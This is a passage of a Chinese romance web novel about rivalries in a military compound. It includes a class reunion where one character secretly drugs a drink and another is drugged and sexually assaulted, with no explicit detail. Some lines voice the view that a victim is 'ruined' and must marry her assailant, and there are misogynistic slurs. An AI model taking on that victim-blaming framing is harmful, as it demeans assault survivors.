苏琴杉见状，重新瞪向沈晚，眼神怨毒："沈晚，这是我们家的家事，用不着别人管！" 沈晚丝毫不惯着她：“你刚来大院的时候，还想着找工作，结果作弊都没考上......” "你闭嘴！"沈晚话音未落，苏琴杉就像疯了一样冲过来，扬起手就要往她脸上扇去。 在她心里，顾战还不知道这件事。 现在她在顾战那里的污点已经够多了，要是再多一条，说不定会更讨厌她。 霍沉舟面色一沉，刚要上前阻拦，早有防备的沈晚已经敏捷地后退一步，反手扣住苏琴杉的手腕，顺势狠狠甩了她一巴掌。 一解心中之气。 "啪！"清脆的巴掌声在屋内炸响。 看热闹的干事们都瞪大了眼睛，好家伙，霍团长媳妇可真够厉害的！ 第一百零九章 沈晚规劝顾战不要领证 霍沉舟看着面前泼辣的小女人，眼中闪过一丝笑意。 打就打了，有他给她兜底。 顾战听见动静猛地抬头，看见苏琴杉扬手要打沈晚，吓得魂都快飞了。 他一个箭步冲上去想拦住苏琴杉，却还是慢了一步，只能眼睁睁看着苏琴杉被沈晚反手甩了一巴掌。 "啪！"那清脆的响声让顾战脸皮一抽，仿佛那一巴掌是打在自己脸上。 "琴杉！"他一把拉住苏琴杉的胳膊，声音里带着难以置信，"你为什么要去打嫂子？" 苏琴杉捂着脸，火辣辣的痛感让她眼泪都快掉下来了，她本以为顾战会第一时间关心她，没想到开口第一句话竟然是质问！ "顾战！"她声音尖锐，带着哭腔，"你看清楚，是我被打了！我们俩可是夫妻，你不应该关心我吗？为什么你第一反应是关心沈晚？" 顾战被她问得一愣，随即皱眉道："是你先动手的，要不是嫂子反应快，现在挨打的就是她了！" 苏琴杉气得浑身发抖："好啊顾战，你现在是彻底被他们夫妻俩洗脑了是不是？我才是你媳妇！" 顾战虽然有些心疼苏琴杉，但依然保持着理智："琴杉，你是不是担心嫂子把你考试作弊的事说出来？" 苏琴杉瞳孔猛地一缩，眼底闪过一丝慌乱，随即强装镇定："什么作弊？我不知道你在说什么！" 顾战失望地叹了口气："你作弊的事我早就知道了。当时我选择相信你，但现在看你的反应，我心里已经有数了。" 苏琴杉脸色瞬间煞白，她没想到这个秘密早已被顾战知晓，慌乱之下，她伸手想去抓顾战的胳膊："阿战，你听我解释……" 顾战后退一步，避开她的触碰："你之前犯的错，我都可以原谅。我可以理解你是一时糊涂，但你刚才对嫂子的态度，不行。现在，和嫂子道歉。" 苏琴杉的眼泪顿时夺眶而出，不知是气的还是疼的，泪水划过被打得红肿的半边脸，带来一阵刺痛，头发散乱地贴在泪湿的脸颊上，整个人看起来十分狼狈。 沈晚那一巴掌用了全力，此刻她脸上已经浮现出清晰的五指印，在白皙的皮肤上显得格外触目惊心。 周围财务科的干事们交换着鄙夷的眼神，他们又不是傻子，在这看了会热闹，已经把顾营长这个媳妇看透了，这不活脱脱一个吸血蚂蟥吗？专吸顾营长的血汗钱。 苏琴杉在顾战的眼神中找不到一丝往日的温情，只有刺骨的失望与冷漠。 她浑身发冷，毫不怀疑如果今天不给沈晚道歉，顾战绝对不会和她领证了。 想到即将到手的军属身份和随军待遇，苏琴杉死死攥紧拳头。 等下个月回老家领了证怀上孩子，就算顾战醒悟过来也晚了，到时候她就能彻底拿捏住这个老实男人...... 想到这，她忍辱负重般看向沈晚，几乎是从牙缝里挤出这三个字："对、不、起。" 话音刚落就捂着脸冲出了财务科。 顾战下意识要追，又硬生生刹住脚步。 他转向沈晚，满脸愧疚："嫂子，对不起，琴杉她......" "这又不是你的错。"沈晚叹了口气，"顾战，你真的要和苏琴杉领证吗？" 顾战眼神迷茫起来：“我也不知道了，琴杉之前明明不是这样的，她很温柔很善良，在农村连只鸡都不敢杀。” 沈晚神色认真地看着顾战："顾战，苏琴杉这个人，为了达成自己的目的不择手段，表面装得温柔体贴，背地里却精于算计。她对你父母的态度你也看到了，这样的人，你真的还要和她结婚吗？" 她顿了顿，语气诚恳："顾战，我觉得她不适合你。趁着你们还没领证，最好再好好考虑清楚。" 顾战知道沈晚是为他好，勉强扯出一抹笑："放心吧嫂子，我心里有数。" 沈晚见他这样，也不好再多说什么，只能默默点头。 顾战转头看向霍沉舟："团长，你也是来给伯父伯母寄钱的吗？" 霍沉舟淡淡"嗯"了一声。 顾战点点头："那我先走了。" 他刚转身要走，身后的财务科干事连忙喊住他："顾营长，还要寄四百块钱吗？" 顾战脚步一顿，沉默片刻后，对干事歉意一笑："不了，我重新填一下单子，麻烦你们了。" 干事爽朗一笑："没事，不麻烦，重新填一下就行。" 顾战拿起笔，在汇款单上写下一百元，这是给苏家的数目，又另填了一张单子，给自己父母寄了五十块钱。 剩下的钱，他仔细折好放回了军装口袋。 转身时，他朝沈晚和霍沉舟点点头："团长，嫂子，我先走了。" 霍沉舟微微颔首。 等顾战的背影消失在门口，沈晚和霍沉舟对视一眼，霍沉舟捏了捏她的手："别担心，他能想明白最好。" 沈晚轻叹："但愿吧。顾战太老实了，苏琴杉稍微一示弱他就心软。要想让他真的下定决心和苏琴杉分开，还得下记猛药。" 霍沉舟默默点头。 沈晚转头看向柜台："对了，你想给你爸妈寄多少钱？多寄点吧。" 霍沉舟掏出两百块钱："不用太多，太多了他们也舍不得花。" 沈晚"哦"了一声，站在旁边看着霍沉舟认真填写汇款单。 男人骨节分明的手指握着钢笔，字迹刚劲有力，填完后，他抬头看向她："你要不要给你家里寄钱？" 沈晚眼神冷了几分。 她想起原著中，原主离婚回到老家后，竟被亲生父母和哥哥下药，送上了五十岁老光棍的床，最终被折磨致死...... 霍沉舟之前给原主的津贴，有一半是被沈家骗走了，可以说，原主和现在的苏琴杉也差不多了，吸老公的血补贴娘家。 霍沉舟察觉到她神色不对，眉头微蹙，轻声唤道："阿晚？" 沈晚回过神，压下眼底的冷意，淡淡摇头："不用了，他们不缺钱花。" 霍沉舟没有多问，只是紧了紧握着她的手："那我们回家吧。" 第一百一十章 晚上回来得补偿我 很快就到了周日，沈晚站在衣柜前发愁。 她翻来翻去，总觉得太素净显得寒酸，太艳丽又怕招摇，半天都没挑出合适的衣服。 突然，霍沉舟从背后环抱住她，下巴抵在她肩头，温热的呼吸喷洒在她耳畔："怎么不穿上次在百货大楼给你买的衣服？" 他说的应该是那件枣红色大衣。 沈晚咬了咬唇："那件衣服是不是太招摇了？" 霍沉舟低笑一声，收紧手臂将她往怀里带了带："不会。"他的唇若有似无地擦过她耳垂，"你打扮得越好看，我越有面子。" 沈晚被他呼出的热气弄得耳根发烫，想了想终于点头："好，就穿那件。" 她转过身，双手抵在霍沉舟结实的胸膛上推了推，"你出去，我要换衣服。" 霍沉舟不悦地眯起眼，不但没退开，反而往前一步将她抵在衣柜上："你身上哪个地方我没看过？嗯？" "霍沉舟！"沈晚羞恼地瞪他，脸颊绯红，"大白天的你……" 话没说完，唇就被堵住了。 霍沉舟一手扣着她的后脑，一手揽着她的腰，将这个吻加深，直到沈晚气喘吁吁地推他，他才意犹未尽地松开。 "我在外面等你。"他拇指擦过她微肿的唇瓣，低沉的嗓音里带着笑意，"穿好看点。" 等霍沉舟出去后，沈晚从衣柜里取出那件枣红色大衣，内搭一件米白色高领羊毛衫，下身配一条黑色毛呢半身裙，脚上踩着小牛皮短靴。 这一身既保暖又不失优雅，衬得她肌肤如雪，明艳动人。 她站在穿衣镜前，将乌黑的长发在脑后挽成一个精致的低髻，用一支珍珠发簪固定。额前故意留了几缕蓬松的碎发，更添几分慵懒妩媚。 推开卧室门时，霍沉舟正靠在客厅的墙上等她。 听到动静抬头，眼底瞬间闪过一丝惊艳，他直起身，目光灼灼地将她从头到脚打量了一遍，喉结不自觉地滚动。 "好看吗？"沈晚在他面前转了个圈，大衣下摆划出优美的弧度。 霍沉舟大步上前，一把扣住她的手腕把人拉进怀里，声音沙哑："太招摇了。" 沈晚轻笑着戳了戳他的胸口："不是你让我穿好看点的吗？" "我后悔了。"霍沉舟低头在她耳边磨牙，"这样出去，别人该盯着你看了。" "那怎么办呀？"沈晚眨眨眼，"要不...我换一件？" 霍沉舟盯着她看了几秒："算了，就这样吧，不过今晚回来，你得补偿我。" 霍小川此时正在赵晓燕家里玩，沈晚走之前特意过来嘱咐几句。 赵晓燕一开门，眼睛顿时一亮："哎哟我的天，妹子，你长得可真水灵！我要是男的，非得抢着把你娶回家不可！不说别的，光放在家里看着那也养眼啊！" 霍小川正坐在小板凳上玩魔方，听见动静抬头一看，立刻托着腮帮子奶声奶气地说："妈妈，你好漂亮。" 沈晚抿唇笑了笑："赵姐，我要陪沉舟参加同学聚会，小川就先放你这了，真是麻烦你了。" "麻烦什么？"赵晓燕摆摆手，又摸了摸自己的肚子，"你没听说吗？怀孕的时候多看些好看的小孩，自己生出来的也能好看。小川长得这么俊，我多看看他，说不定也能生个漂亮娃娃。不然要是光像你张大哥那模样，那得多磕碜啊！" 沈晚被逗得笑出声："行，那我们先走了。"她蹲下身，轻轻摸了摸霍小川的小脑袋，"小川在赵姨家要乖，爸爸妈妈晚点回来接你。" 霍小川乖巧地点头："嗯！我会乖乖的。" 沈晚亲了亲他的小脸蛋，又叮嘱了几句，这才转身离开。 沈晚走出大院，霍沉舟已经在车上等她了，等她上车系好安全带后，霍沉舟这才开车。 此时，蒋雪刚从公交车上下来，站在迎宾楼门前整理着连衣裙的领口。 然后推门进去，大厅里摆着十几张圆桌，白绿相间的格子桌布上放着印有"为人民服务"的搪瓷杯。 "同志，请问褚明哲订的包厢在哪？"蒋雪柔声询问服务员。 "二楼203，革命厅。" 蒋雪上楼后找到"革命厅"，轻轻推开门。 包厢内热闹非凡，二十多位男男女女围坐在圆桌旁，桌上摆着几瓶老白干和北冰洋汽水，还有几盘花生瓜子。 "哎哟！这不是我们班当年的班花吗？"一个戴眼镜的男同学最先发现她，激动地站起来。 其他人闻言也纷纷起身，七嘴八舌地招呼： "蒋雪！真是越来越漂亮了！" "听说你现在在文工团？不愧是咱们班的文艺骨干啊！" "快坐快坐，就等你了！" 褚明哲帮她拉开一侧的座位："蒋雪，坐这吧。" 蒋雪面对众人的夸奖，抿唇一笑，优雅地入座。 她扫了一圈来人："人都到齐了吗？" 褚明哲挠挠头："沉舟还没到，估计在路上了。" 蒋雪点点头，眼底闪过一丝期待。 褚明哲突然一拍脑门，揽着身边温婉的女子道："瞧我这记性！忘记给你介绍了，这是我爱人林婉茹，在医院当护士。" 他又转向妻子："婉茹，这是蒋雪，当年我们班的班花，和沉舟一样都是学校的风云人物，跳舞特别厉害。" 林婉茹温柔地伸出手："久仰大名，常听明哲提起你们上学时的趣事。" 蒋雪礼貌地握了握她的手："你好。" 褚明哲用手拍了拍旁边的刘俊辉：“你小子的家属呢？咋不带出来让我们认识认识。” 刘俊辉咧嘴一笑："我爱人还得在家照顾小孩，过不来。" 褚明哲用力拍了下他的肩膀："你行啊，这么快都生孩子了！" 刘俊辉笑着摇头："我快什么？沉舟他儿子今年估计都快五岁了吧？" 听到这句话，蒋雪脸上的笑容淡了几分，褚明哲和刘俊辉都没察觉到她的情绪变化，两人正热络地聊着各自的家庭和工作。 蒋雪心不在焉地抿了一口汽水，眼神不断往门口瞟去，期待那个熟悉的身影出现。 这时，一个圆润的身影突然挡在她面前。 第一百一十一章 参加同学聚会 扑鼻而来一股浓重的汗臭味夹杂着劣质烟草的气息，熏得蒋雪忍不住皱了皱眉。 她抬头一看，面前站着一个身材臃肿的男人，油光发亮的脑门上耷拉着几缕稀疏的头发，泛黄的衬衫领口还沾着油渍。 "小雪，你还认识我吗？"男人咧嘴一笑，露出一口发黄的大板牙，嘴里喷出的酒气让蒋雪下意识往后仰了仰身子。 听到对方亲昵地叫自己"小雪"，蒋雪不适地皱起眉，勉强维持礼貌道："你是？" "我是曹振国啊！"男人激动地拍了拍啤酒肚，"之前还帮你搬过宿舍，给你送过饭，你不记得了吗？" 蒋雪脸色一僵，这才隐约想起大学时确实有个叫曹振国的男生总是围着她转。 但记忆中的他虽然不算英俊，至少也是个清瘦的年轻人，怎么会变成现在这副油腻模样？ "哦...是你啊。"蒋雪勉强扯出一抹笑，"好久不见。" 曹振国却热情地往前凑："可不是嘛！听说你现在在文工团？真厉害！我就在县农机厂当个小科长……" 他说着就要往蒋雪身边坐。 蒋雪实在无法忍受地站起身，想离他远一点。 曹振国刚坐下，见蒋雪突然站起来，有些疑惑地抬头："小雪？你怎么了？" 周围几桌的同学也都奇怪地往这边看过来，蒋雪感受到众人的目光，只好又僵硬地坐了回去。 曹振国脸上重新堆满笑容："小雪，几年没见，你现在是越来越漂亮了。" 蒋雪勉强扯了扯嘴角："谢谢。" 曹振国搓了搓手，绿豆眼里闪着精光："你谈对象了吗？" "暂时还没有。"蒋雪低头抿了口汽水。 "这么巧，我也没有谈对象。"曹振国兴奋地往前凑了凑。 蒋雪不动声色地往后挪了挪。 "光喝汽水有什么意思？咱喝点红酒吧！"曹振国突然站起身，从隔壁空桌拿来一瓶包装花哨的葡萄酒，"这可是我特意从县城带来的张裕解百纳，专门留着和老同学分享的！" 他笨拙地撬开木塞，给蒋雪倒了满满一杯，紫红色的酒液在玻璃杯里晃荡。 "来，尝尝！"曹振国热情地把酒杯往她面前推，"这酒可贵了，一瓶要二十多块钱呢！" 蒋雪心中鄙夷，但为了在老同学面前维持优雅形象，只能随便找了个理由就往门口走去："我先去趟卫生间。" 她低头快步往门外走，手指刚搭上门把手，包厢的门就被人从外面推开了。 蒋雪一抬头，正对上霍沉舟那张轮廓分明的俊脸，眼中顿时闪过一抹惊喜："沉舟，你来了！" 霍沉舟垂眸看了她一眼，淡淡"嗯"了一声。 "快进来吧。"蒋雪连忙让开身子，声音里带着掩饰不住的雀跃。 然而下一秒，她脸上的笑容在看到男人身后的人时瞬间凝固—— 这个贱人怎么来了？ 沈晚笑魇如花地冲蒋雪招招手，她素净的脸蛋上几乎看不出化妆的痕迹，却依然明艳动人，肌肤如雪般透亮，唇色是天然的樱粉，那双杏眼清澈有神，睫毛浓密。 而反观蒋雪，她今天特意化了精致的妆容，描了上挑的眼线，涂了艳丽的红唇，甚至还打了腮红。 可此刻站在素颜的沈晚面前，她精心打扮的妆容反而显得刻意又俗气，就像一朵用力过猛的塑料花，在天然绽放的玫瑰面前黯然失色。 蒋雪的手指不自觉地掐进掌心，声音发紧："沈同志也来了啊……" 沈晚落落大方地点点头，“沉舟想带我见见他的老朋友。” 蒋雪眼底闪过一丝阴鸷，但很快又恢复了温婉的笑容："那快进来坐吧。" 此时屋里的人看见霍沉舟和沈晚，纷纷站了起来。 "哎哟，这不是沉舟吗？听说现在都坐上团长的位置了！" "可不是嘛！这些年依旧这么帅气。" 褚明哲和刘俊辉立马迎了过来，分别给了霍沉舟一个结实的拥抱："你小子，可算是我们老同学里最有出息的一个了！" 霍沉舟向来冷峻的脸上露出丝丝笑意："最近怎么样？" "都挺好的，"褚明哲拍了拍肚子，"就是发福了。俊辉现在孩子都有了。" 霍沉舟看向刘俊辉，简短地道："恭喜。" 沈晚一直静静站在霍沉舟身边，看着他游刃有余地在众人中间周旋。 这时，褚明哲注意到了沈晚，眼底闪过一丝惊艳："这位是？" 霍沉舟自然地揽过沈晚的肩膀："这是我爱人，沈晚。" 众人顿时起哄起来："哇！霍团长藏得够深啊！" "嫂子真漂亮！" "什么时候结的婚？怎么都不通知我们？" 沈晚落落大方地微笑点头："你们好。" 蒋雪站在人群外围，看着被众星拱月的沈晚，心中直冒酸水，刚才她进来的时候，怎么没人这么热情地欢迎她？ 她主动开口，“大家都别站着了，赶紧坐下吧。” 众人还是比较给她面子的，陆陆续续重新坐回椅子上。 刘俊辉：“你们先坐，我去让服务员上菜。” 霍沉舟和沈晚坐下后，蒋雪立马抢着坐到霍沉舟旁边的位置上：“沉舟今天不是我们同学聚会吗？你怎么把沈同志带过来了？” 霍沉舟面色微沉："有什么问题吗？" 蒋雪故作体贴地笑了笑："就是怕沈同志不认识大家，会尴尬。" 沈晚听到她主动提到自己，依然神色自若地抿着茶水，脸上看不出任何波动。 霍沉舟眉头微拧："她不用认识其他人。我带阿晚来，只是想让明哲和俊辉见见我媳妇，让他们知道我现在过得很好。" 蒋雪听出霍沉舟话里对沈晚的维护，脸色白了几分，但想到霍沉舟还不知道沈晚背地里的所作所为，她又镇定下来。 她一只手悄悄摸进随身的包包里，指尖触到那包东西时，嘴角勾起一抹若有若无的笑。 "原来是这样啊。"蒋雪故作理解地点点头，转头对沈晚露出一个假笑，"沈同志别误会，我就是担心你跟大家不熟，会不自在。" 沈晚淡淡一笑："蒋同志多虑了。" 第一百一十二章 你越界了 "沉舟的朋友就是我的朋友，怎么会不自在呢？" 霍沉舟闻言，冷峻的眉眼柔和了几分，握着她的手不自觉地紧了紧。 蒋雪看着两人交握的手，正想再说什么，服务员恰好开始上菜。 褚明哲热情地招呼霍沉舟："沉舟，这家店的松鼠桂鱼可是一绝，你们可得尝尝。" 霍沉舟点点头，第一筷夹了块鱼肉，仔细挑净刺后放到沈晚碗里。 沈晚尝了一口，眼睛弯成月牙："好吃！" 霍沉舟唇角微扬："那你多吃点。" 褚明哲和刘俊辉对视一眼，都从对方眼里看到了不可思议，这还是当年那个高岭之花、冷峻自矜的霍沉舟吗？ 要知道，大学时期的霍沉舟可是全校出了名的冷美男。 多少女生变着法儿给他送情书、递礼物，故意在他必经之路偶遇，可是他连一会喜欢的女生都没有。 毕业后，听说霍沉舟早早结了婚，他们都猜测是家里安排的婚事。 可今日一见，这哪是什么父母之命？分明是铁树开花，冰山融化，瞧那温柔体贴的劲儿，简直像是换了个人。 刘俊辉忍不住打趣："沉舟，你这变化也太大了。当年咱们宿舍打赌，说你肯定是最后一个结婚的，没想到你倒抢了先。" 霍沉舟淡淡一笑，目光始终没离开沈晚："遇到对的人，自然就快了。" 沈晚被他这么当众告白，有点不好意思地在桌下轻轻掐了下他的大腿。 霍沉舟面不改色，反手握住她作乱的小手，十指相扣放在自己膝上。 蒋雪看着两人眉目传情的样子，手里的筷子都快捏断了。 这时，曹振国又凑了过来，殷勤地把高脚杯往蒋雪面前推了推："小雪，这红酒你还没喝呢，尝尝看？" 蒋雪此时心里憋着火，看着面前这张油腻的笑脸，更是烦躁："我不想喝。" 曹振国不死心，继续劝道："尝尝嘛，这酒很不错的，我特意为你点的。" 蒋雪终于忍不住爆发了，猛地将酒杯一推："我说了我不喝！你能不能别一直烦我？！" "啪"的一声，酒杯倒在桌上，暗红的酒液洒了一片，整个包厢瞬间安静下来，所有人都错愕地看向这边。 曹振国呆愣在原地，脸上的笑容僵住了。 蒋雪这才意识到自己失态了，急忙抽了几张纸巾擦拭酒渍，勉强挤出一个笑容："对不起，刚才是我太激动了......我今天身体不太舒服，不想喝酒。" 曹振国尴尬地挠挠头，把酒瓶轻轻放在她面前："没、没事......你想喝的时候再喝。" 说完就灰溜溜地回到了自己的座位。 包厢里的气氛一时有些凝滞，还是靠褚明哲打的圆场，总算把这场尴尬遮掩过去。 但蒋雪明显感觉到，有几道异样的目光时不时落在自己身上。她低着头，食不知味地戳着碗里的菜，心里越发不是滋味。 过了一会，她见没人注意自己，悄悄从包里摸出一包白色粉末，借着桌布的遮挡，迅速撒进了一瓶橘子汽水里。 她轻轻摇晃瓶身，看着粉末完全溶解，眼里闪过一抹势在必得。 沈晚正和旁边的林婉茹说话，余光却敏锐地捕捉到蒋雪鬼祟的动作，她微微蹙眉，虽然看不清对方在做什么，但直觉告诉她肯定有问题。 "沉舟，"蒋雪笑盈盈地开口，将那瓶汽水推到霍沉舟面前，"喝点饮料吧？" 霍沉舟抬眸扫了一眼，没有动作。 蒋雪又把饮料往他那边推了推："尝尝吧，这个牌子的汽水很好喝，我记得你以前就喜欢这个味道。" 沈晚在桌下轻轻捏了捏霍沉舟的手。 "不用了，"霍沉舟语气冷淡，"我不爱喝甜的。" 蒋雪：“这饮料不算甜的，我记得你之前爱喝，尝尝吧。” 霍沉舟依然拒绝了。 蒋雪紧紧捏着瓶身，一直在想怎么能让霍沉舟喝下这瓶汽水。 心烦意乱之下目光扫到曹振国刚才放下的红酒，便给自己倒了一杯，仰头一饮而尽。 没过多久，霍沉舟凑到沈晚耳边低语："我去趟卫生间。" 沈晚点头："去吧。" 霍沉舟离席一分钟后，蒋雪也突然站了起来。 沈晚注意到她的动作，眸色微沉。 蒋雪快步跟上霍沉舟，看着他走进男卫生间，便站在走廊拐角处等待。 她紧张地整理着头发和衣服，心跳如擂鼓。 很快，霍沉舟从卫生间走出来，看见守在门口的蒋雪，眉头立刻皱起。他侧身想从她旁边绕过，蒋雪却一个箭步拦住他："沉舟！" 霍沉舟停下脚步，眼神冷峻："有事？" 蒋雪急切地上前一步："沉舟，我有重要的事要告诉你！沈晚根本不像表面看起来那样单纯，她……" 她将李丽告诉她的那些话一股脑倒了出来，说沈晚在家属院勾三搭四，仗着他的权势欺负人，还故意挑拨别人夫妻关系...... 她越说越激动，完全没注意到霍沉舟的眼神越来越冷，像淬了冰。 "......所以沉舟，她根本配不上你！"蒋雪终于说完，期待地看着他。 霍沉舟沉默片刻，声音低沉："说完了？" 蒋雪点点头，心跳加速。 但出乎她意料的是，霍沉舟冷笑一声："蒋雪，你让我很失望。" 他居高临下地看着她："第一，我妻子是什么样的人，我比你清楚。第二，背后诋毁军属，是要上军事法庭的。" 蒋雪脸色瞬间煞白："我、我只是担心你被骗......" "蒋雪，你越界了。" 他抬腿就要离开，蒋雪情急之下扑上去抱住他："沉舟，别走！" 霍沉舟神情不耐，甩开她后，蒋雪踉跄着撞在走廊的墙壁上。 她突然感到一阵异样的燥热从体内升起，脸颊发烫，呼吸也变得急促起来。 蒋雪此时还不知道自己身体的不对劲，只是看着霍沉舟的背影难过。 她哪里比不上沈晚那个女人？为什么霍沉舟不肯多看她一眼？ 蒋雪浑身发软地靠在墙上，眼前一阵阵发晕。 第一百一十三章 蒋雪被下药 她不明白自己这是怎么了，只觉得体内像有一团火在烧，双腿发软几乎站不稳。 就在她意识越来越模糊时，一张熟悉的脸突然出现在面前…… 霍沉舟刚回到包厢，沈晚就往他身后看了一眼，等男人入座后，她问："你没碰到蒋雪？" 霍沉舟神色如常地端起茶杯："没有。"他不想让沈晚为这种事烦心，轻描淡写地带过了这个话题。 沈晚看了他一眼，没再多说什么，但心里却并不相信。 以她对蒋雪心思的观察和了解，刚才那女人肯定是追着霍沉舟出去了，只是两人之间发生了什么，她就不得而知了。 饭局接近尾声，蒋雪依然没有回来。直到林婉茹小声提醒褚明哲，大家这才注意到蒋雪已经离席很久了。 褚明哲皱了皱眉："该不会是提前走了吧？" 刘俊辉："不太可能，她的包还在座位上呢。" 众人面面相觑。 褚明哲站起身："那咱出去找找吧，她一个姑娘家，别出了什么事。" 众人纷纷点头附和，三三两两地走出包厢开始寻找。 沈晚也跟着他们一起出去。 刘俊辉拦住一个路过的服务员："请问你们有没有见过一位穿米色大衣的女同志？大概这么高，长得挺漂亮的。" 服务员摇摇头："不好意思，没注意。" 他们又把楼上楼下几个包厢都找了一遍，甚至连洗手间都让女服务员进去查看，却依然不见蒋雪的踪影。 就在大家一筹莫展时，二楼的男洗手间里突然传来奇怪的动静。 众人对视一眼，这才意识到他们漏找了男洗手间。 刘俊辉看向霍沉舟："沉舟，咱俩进去看看。" 霍沉舟微微颔首，两人一前一后走向男洗手间。 刚推开门，就听见里面传来一阵急促的喘息和衣物摩擦的声音。 两人都是有妇之夫，自然明白这声音的含义，当即交换了个眼神，心里同时闪过一个念头——遭了！ 刘俊辉快步上前推开隔间门，只见蒋雪正被一个熟悉的身影压在墙上。 她的上衣最上面几颗扣子被解开了，露出白皙的肩膀和锁骨，裙摆已经凌乱地卷到腰间，脸上泛着不正常的潮红。 刚才发生了什么显而易见。 刘俊辉一把扯开男人，待看清对方的脸后，脸上闪过震惊："振国？你......" 曹振国慌慌张张地提上裤子，脸色惨白："不是你们想的那样！是她先勾引我的！" 蒋雪此时意识依旧迷糊，踉踉跄跄地还想往曹振国身上凑。 霍沉舟转身从洗手台接了点凉水，毫不犹豫地泼到她脸上。 "啊！"蒋雪惊叫一声，浑身打了个激灵，这才渐渐清醒过来。 她茫然地环顾四周，在看到自己衣衫不整的样子和他人各异的神色后，脸色瞬间煞白。 "我...我这是怎么了……"她颤抖着双手拢住自己敞开的衣领，声音里带着哭腔。 刘俊辉脱下外套扔给她，语气复杂："先把衣服穿好。" 曹振国还在狡辩："真的不关我的事！她刚才在走廊上就主动往我身上贴，还拉着我进了洗手间……" "闭嘴！"霍沉舟厉声打断。 蒋雪颤抖着整理好衣服，双腿间不断传来刺痛，不她不是没有常识的人，猜到两人已经生米煮成熟饭了。 可是她明明把那包药下在了要给霍沉舟的汽水里，自己根本没喝，为什么中招的会是她？ 她死死盯着曹振国，突然冲上去撕打他："是不是你？！是不是你在我的酒里动了手脚？！" 可药效未消，她的拳头软绵绵的，根本使不上力气。 曹振国眼底闪过一抹心虚，却梗着脖子狡辩："你别血口喷人！我刚才就出来上个厕所，看你一个人倒在地上，好心去扶你，结果你勾引我，还说要跟我处对象，哪个男人能把持得住……" "你胡说！"蒋雪眼泪夺眶而出，声音嘶哑，"我根本不喜欢你，怎么可能..." 她说不下去了，羞愤欲死地捂住脸。 霍沉舟想到沈晚还在外面，对刘俊辉沉声道："你看住曹振国，我出去一趟。" 刘俊辉点头："你去吧。" 此时蒋雪正蹲在地上哭得撕心裂肺，曹振国则被刘俊辉一把扣住手腕，动弹不得。 霍沉舟从卫生间出来后，众人立即围了上来："找到蒋雪了？" 他面色凝重地点点头。 沈晚看出他脸色不好，心里隐隐有种猜测，轻声问道："蒋雪出什么事了？" 霍沉舟："阿晚，你进去帮蒋雪检查一下。"他顿了顿，"她可能被下药了。" 这句话如同一记惊雷，在场所有人的表情都变得复杂起来。 林婉茹倒吸一口冷气，褚明哲则愤怒地攥紧了拳头。 沈晚快步走进洗手间，看到被刘俊辉按住的曹振国时微微一愣。 这个男人她记得，看起来老实巴交的样子，没想到竟会做出这种事。 那瓶红酒估计就是被他下了药的。 刘俊辉见到沈晚有些惊讶："沈同志，你怎么进来了？" "我会医，帮蒋雪看看。"沈晚简短答道。 刘俊辉明显怔了一下，显然没想到沉舟的媳妇竟然懂医术。 沈晚蹲下身，轻声对蜷缩在墙角的蒋雪说："蒋雪，把手给我，我帮你把把脉。" 蒋雪听到沈晚的声音，猛地抬起头，红肿的眼睛里透出浓浓的怨恨："不用你假好心！你现在一定很得意吧？看到我这样。" 旁边的刘俊辉不明所以，劝道："蒋雪，你就让沈同志帮你看看吧。" 蒋雪歇斯底里地吼道："我才不要她帮我看！你滚啊！" 她伸手狠狠推了沈晚一把，尖锐的指甲在她手臂上划出一道红痕。 沈晚后退一步，冷冷地看着她。 她又不是圣母，既然蒋雪这么硬气，那她也没必要上赶着帮忙。 "好，既然你不愿意，那就算了。" 沈晚语气平静，转身对刘俊辉道，"她意识清醒，能骂人能动手，应该没什么大碍。你们最好尽快送她去医院做个详细检查。" 第一百一十四章 对不起 刘俊辉沉默地点点头。 他想不通蒋雪为何对沈晚敌意这么大，同时心里也开始后悔办这一场同学聚会了。 当时蒋雪突然给他和褚明哲打了个电话，说想办个同学聚会，让大家聚一聚，他欣然同意了。 如果不是因为这场同学聚会，蒋雪就不会…… 她还这么年轻，现在被毁了清白，除了嫁给曹振国，应该也没有第二条路了。 此时霍沉舟已经借了饭店的电话，直接拨通了派出所的号码，他言简意赅地说明了情况，然后就等公安来了。 霍沉舟报完警，回到卫生间，看见沈晚站在一旁，走过去沉声问："怎么样？" 沈晚面无表情地摇摇头："她不让我检查，我也没办法。" 霍沉舟眉头紧锁，低头看了眼蜷缩在地上的蒋雪："那就等公安来处理吧。" 此时蒋雪抬起头，泪眼朦胧中看见霍沉舟高大的身影，心里突然涌起最后一丝希望。 她踉跄着站起身，朝霍沉舟扑了过去："沉舟......" 霍沉舟却皱着眉迅速侧身避开，蒋雪扑了个空，差点摔倒。 她不可置信地瞪大眼睛，声音颤抖："你是不是嫌弃我被别的男人碰了？可是我是被下药了啊！" 霍沉舟神色冷峻语气疏离："我为什么要嫌弃你？我们俩根本没有任何关系。如果非要有点感情，那就是有点惋惜。" 听着霍沉舟绝情的话，蒋雪如遭雷击，整个人僵在原地，她嘴唇颤抖着，眼泪大颗大颗往下掉："你怎么能这么说..." 沈晚站在一旁，看着蒋雪崩溃的样子，心里却没有丝毫快意。 毕竟在这个年代，女孩子的清白比什么都重要。一旦传出闲话，蒋雪往后的人生恐怕都要活在别人的指指点点中。 很快，公安人员赶到了现场。 为首的警官看到霍沉舟的军装，态度立刻恭敬了几分："同志，请问是您报的案吗？" 霍沉舟简明扼要地将事情经过说了一遍。 警官听完，立即安排一名女公安将情绪崩溃的蒋雪扶到隔壁空包厢安抚，同时派人去检查事发包厢。 蒋雪指控自己就是喝了曹振国给自己的红酒，才会失去意识的。 公安立即将那杯残留的红酒作为关键证据封存，准备送往化验室检测。 就在此时，曹振国突然挣脱控制，拔腿就要往外冲。霍沉舟眼疾手快，一个箭步上前，反剪住他的双臂，将他死死按在墙上。 "放开我！霍沉舟！"曹振国面目狰狞地挣扎，"你别以为我不知道你那点破事！再不放开，我把你和蒋雪的那点破事全抖出来！" 霍沉舟眼神骤冷，手上力道加重："我和蒋雪之间有什么事？" "装什么装！"曹振国喘着粗气，"刚才在厕所门口我都看见了，你们俩都抱上了！她还往你怀里钻，你们俩之间能没点事？" "胡说八道！"刘俊辉怒喝一声，"曹振国，你少在这血口喷人！" 霍沉舟冷笑一声，直接将曹振国拖到公安面前："同志，嫌疑人不仅涉嫌下药，现在还在恶意诽谤现役军人。我要求从严处理。" 警官郑重点头：“放心，我们一定会调查清楚的。” 曹振国见霍沉舟油盐不进，突然扭头冲着包厢方向嘶吼："蒋雪！你这个臭婊子！现在大家都知道你被我玩过了，除了我谁还要你这个破鞋？识相的就赶紧撤案，乖乖跟我领证过日子！" 